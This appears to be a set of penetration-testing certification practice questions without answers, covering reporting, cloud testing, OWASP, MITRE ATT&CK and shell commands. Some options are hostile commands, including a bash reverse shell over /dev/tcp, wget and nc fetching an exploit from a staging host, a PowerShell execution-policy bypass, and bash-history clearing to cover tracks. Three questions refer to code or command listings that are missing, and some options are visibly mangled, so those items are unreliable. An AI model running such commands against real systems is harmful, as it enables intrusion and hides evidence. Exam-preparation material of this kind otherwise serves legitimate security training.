Which of the following is MOST important to include in the final report of a static application-security test that was written with a team of application developers as the intended audience?

A. Executive summary of the penetration-testing methods used
B. Bill of materials including supplies, subcontracts, and costs incurred during assessment
C. Quantitative impact assessments given a successful software compromise
D. Code context for instances of unsafe typecasting operations

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

Which of the following commands should the penetration tester run post-engagement?

A. grep -v apache ~/bash_history > ~/.bash_history
B. rm -rf /tmp/apache
C. chmod 600 /tmp/apache
D. taskkill /IM "apache" /F

A penetration tester ran the following command on a staging server:
python -m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?

A. nc 10.10.51.50 9891 < exploit
B. powershell -exec bypass -f \10.10.51.509891
C. bash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit
D. wget 10.10.51.50:9891/exploit

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.
Which of the following should the tester verify FIRST to assess this risk?

A. Whether sensitive client data is publicly accessible
B. Whether the connection between the cloud and the client is secure
C. Whether the client's employees are trained properly to use the platform
D. Whether the cloud applications were developed using a secure SDLC

A penetration tester discovered a vulnerability that provides the ability to upload to a path via discovery traversal. Some of the files that were discovered through this vulnerability are:

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

A. Edit the discovered file with one line of code for remote callback.
B. Download .pl files and look for usernames and passwords.
C. Edit the smb.conf file and upload it to the server.
D. Download the smb.conf file and look at configurations.

Which of the following BEST describe the OWASP Top 10? (Choose two.)

A. The most critical risks of web applications
B. A list of all the risks of web applications
C. The risks defined in order of importance
D. A web-application security standard
E. A risk-governance and compliance framework
F. A checklist of Apache vulnerabilities

A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel.
Which of the following would the tester MOST likely describe as a benefit of the framework?

A. Understanding the tactics of a security intrusion can help disrupt them.
B. Scripts that are part of the framework can be imported directly into SIEM tools.
C. The methodology can be used to estimate the cost of an incident better.
D. The framework is static and ensures stability of a security program over time.

A compliance-based penetration test is primarily concerned with:

A. obtaining PII from the protected network.
B. bypassing protection on edge devices.
C. determining the efficacy of a specific set of security standards.
D. obtaining specific information from the protected network.

A penetration tester gains access to a system and establishes persistence, and then run the following commands:

Which of the following actions is the tester MOST likely performing?

A. Redirecting Bash history to /dev/null
B. Making a copy of the user's Bash history to further enumeration
C. Covering tracks by clearing the Bash history
D. Making decoy files on the system to confuse incident responders

Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

A. chmod u+x script.sh
B. chmod u+e script.sh
C. chmod o+e script.sh
D. chmod o+x script.sh